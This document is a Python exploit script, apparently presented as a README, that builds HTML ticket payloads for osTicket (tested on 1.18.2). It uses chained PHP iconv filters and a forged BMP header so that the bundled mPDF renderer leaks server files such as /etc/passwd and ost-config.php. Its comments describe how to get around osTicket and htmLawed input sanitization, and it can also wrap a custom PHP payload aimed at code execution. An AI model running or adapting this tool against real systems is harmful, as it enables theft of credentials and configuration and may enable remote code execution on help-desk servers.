README.md
Rendering markdown...
# Original idea of formatting files as bitmap images taken from Hitcon 2022 web2pdf challenge: https://blog.splitline.tw/hitcon-ctf-2022/#%F0%9F%93%83-web2pdf-web
# Code based on: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
#
# Example usage:
# python osticket_ticket_payload_gen.py -f /etc/passwd include/ost-config.php /proc/self/maps,b64zlib
# python osticket_ticket_payload_gen.py -f /usr/lib/x86_64-linux-gnu/libc.so.6,b64zlib -r
# python osticket_ticket_payload_gen.py -p cnext_payload -r
import base64, sys, string
from urllib.parse import quote
from argparse import ArgumentParser
ICONV_MAPPINGS = {
"61": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"59": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"66": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"50": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"68": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"57": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"6f": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"6a": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"32": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"35": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE",
"69": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"56": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"51": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"58": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"67": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"34": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5a": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"33": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4e": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"4b": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"42": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"45": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"73": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"74": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"4c": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"4d": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"75": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"72": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"44": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"2f": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"43": "convert.iconv.CN.ISO2022KR",
"6b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"38": "convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16",
"6e": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"36": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"31": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"65": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"62": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"54": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"53": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"30": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE",
"37": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"6d": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"6c": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"39": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"52": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"55": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"63": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"64": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"46": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"79": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"41": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"77": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"48": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"70": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"4a": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"4f": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"71": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"76": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932",
"49": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"47": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"78": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"7a": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937"
}
parser = ArgumentParser(description="Generate osTicket ticket payload to retrieve provided file paths, or wrap custom PHP payload. Set -r flag if the payload will be used to reply to an existing ticket.")
parser.add_argument('-f', '--files', nargs='*', help='Zero or more file paths to fetch. Add ,b64 or ,b64zlib to add conversions to file, e.g. /etc/passwd,b64lib', required=False)
parser.add_argument('-p', '--payload', help='file path containing PHP payload', required=False)
parser.add_argument('-r', '--reply', action='store_true', help='Generate payload for ticket reply (vs ticket creation)')
args = parser.parse_args()
PAYLOAD_FILE = args.payload
FILE_PATHS = args.files
if not PAYLOAD_FILE and not FILE_PATHS:
print('no file paths or payload file provided')
sys.exit(1)
payloads = []
if PAYLOAD_FILE:
payloads.append(open(PAYLOAD_FILE, 'r').read())
if FILE_PATHS:
for f in FILE_PATHS:
# Depending on the file you may get slightly different results depending on the encoding, especially towards the end of the file
# Note there appears to limit to the size of any individual BMP file you can pull back of roughly ~45K. File is truncated after that limit.
if len(f.split(',', 1)) > 1:
file_to_use, encoding = f.split(',', 1)
if encoding not in ['plain', 'b64', 'b64zlib']:
print(f'Invalid encoding: {encoding}, defaulting to plain text retrieval')
encoding = 'plain'
else:
file_to_use = f
encoding = 'plain'
width, height = 15000, 1
payload = b'BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00' + \
width.to_bytes(4, 'little') + \
height.to_bytes(4, 'little') + \
b'\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
base64_payload = base64.b64encode(payload).decode()
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += ICONV_MAPPINGS[(str(hex(ord(c)))).replace("0x","")] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
if encoding == 'b64' or encoding == 'b64zlib':
filters = "convert.base64-encode|" + filters
if encoding == 'b64zlib':
filters = "zlib.deflate|" + filters
payloads.append(f"php://filter/{filters}/resource={file_to_use}")
# osTicket specific logic
# url encode certain characters to bypass various checks. in particular it's important that php:// needs to be turned into php%3a//
# the path will get url decoded in the mpdf version included in osTicket
#
# Also Noticed that file paths with capital letters get turned into lowercase somewhere in the PDF processing.
# To work around this, we also urlencode capital letters
def quote_with_forced_uppercase(input_string: str) -> str:
safe_chars = string.ascii_lowercase + string.digits + '_.-~'
encoded_parts = []
for char in input_string:
if 'A' <= char <= 'Z':
encoded_parts.append(f"%{ord(char):X}")
elif char in safe_chars:
encoded_parts.append(char)
else:
encoded_parts.append(quote(char))
return "".join(encoded_parts)
# The SEP sequence is part of the payload and used to bypass some input validation/sanitization in osTicket and htmLawed.
# The separator is different when creating a new ticket vs replying to an existing ticket
#
# This exploit was tested specifically against osticket version 1.18.2 should work with other recent versions.
# Very old versions of osTicket circa 2020 and before actually don't seem to need any special separator (this has not been tested)
SEP = "&#34" if args.reply else """
final_payload = '<ul>'
for p in payloads:
final_payload += f'<li style="list-style-image:url{SEP}({quote_with_forced_uppercase(p)})">listitem</li>\n'
final_payload += '</ul>'
print(final_payload)